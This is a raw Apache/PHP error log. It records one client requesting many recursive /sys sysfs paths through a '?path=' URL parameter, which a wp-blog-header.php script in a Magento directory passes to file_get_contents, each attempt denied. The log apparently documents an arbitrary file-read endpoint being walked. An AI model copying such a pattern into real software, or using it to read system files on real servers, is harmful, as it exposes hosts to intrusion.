[Thu Mar 26 15:23:08.622722 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ec
[Thu Mar 26 15:23:11.265492 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:fe
[Thu Mar 26 15:23:13.445547 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:aa
[Thu Mar 26 15:23:19.417775 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ec
[Thu Mar 26 15:23:23.082051 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ca
[Thu Mar 26 15:23:26.780723 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ec
[Thu Mar 26 15:23:27.272451 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:bc
[Thu Mar 26 15:23:28.837438 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 15:23:31.472188 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:fa
[Thu Mar 26 15:23:33.710170 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ec
[Thu Mar 26 15:23:37.947248 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:cc
[Thu Mar 26 15:23:39.076436 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:dc
[Thu Mar 26 15:23:45.368284 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ec
[Thu Mar 26 15:23:49.599412 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ca
[Thu Mar 26 15:23:55.378743 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem
[Thu Mar 26 15:24:01.453116 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:fe
[Thu Mar 26 15:24:04.029177 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ac
[Thu Mar 26 15:24:14.659502 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:fa
[Thu Mar 26 15:24:17.339561 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ea
[Thu Mar 26 15:24:20.011314 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ce
[Thu Mar 26 15:24:24.306171 2026] [php:warn] [pid 3216401] [client 74.7.241.26:34976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:cc
[Thu Mar 26 15:24:26.059382 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:be
[Thu Mar 26 15:24:28.676955 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:fa
[Thu Mar 26 15:24:32.907718 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ee
[Thu Mar 26 15:24:39.204879 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ac
[Thu Mar 26 15:24:40.295256 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:fa
[Thu Mar 26 15:24:48.116918 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem
[Thu Mar 26 15:24:50.935513 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem
[Thu Mar 26 15:24:54.598983 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ae
[Thu Mar 26 15:25:02.472092 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ba
[Thu Mar 26 15:25:05.141260 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:da
[Thu Mar 26 15:25:05.695356 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ba
[Thu Mar 26 15:25:08.803803 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ac
[Thu Mar 26 15:25:10.448709 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:aa
[Thu Mar 26 15:25:10.924457 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ee
[Thu Mar 26 15:25:11.548113 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ec
[Thu Mar 26 15:25:12.546093 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 15:25:16.919909 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ac
[Thu Mar 26 15:25:18.482746 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54884] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ac
[Thu Mar 26 15:25:20.775670 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fc
[Thu Mar 26 15:25:24.482178 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ca
[Thu Mar 26 15:25:28.699760 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/device:ec
[Thu Mar 26 15:25:31.852708 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ea
[Thu Mar 26 15:25:38.219437 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ac
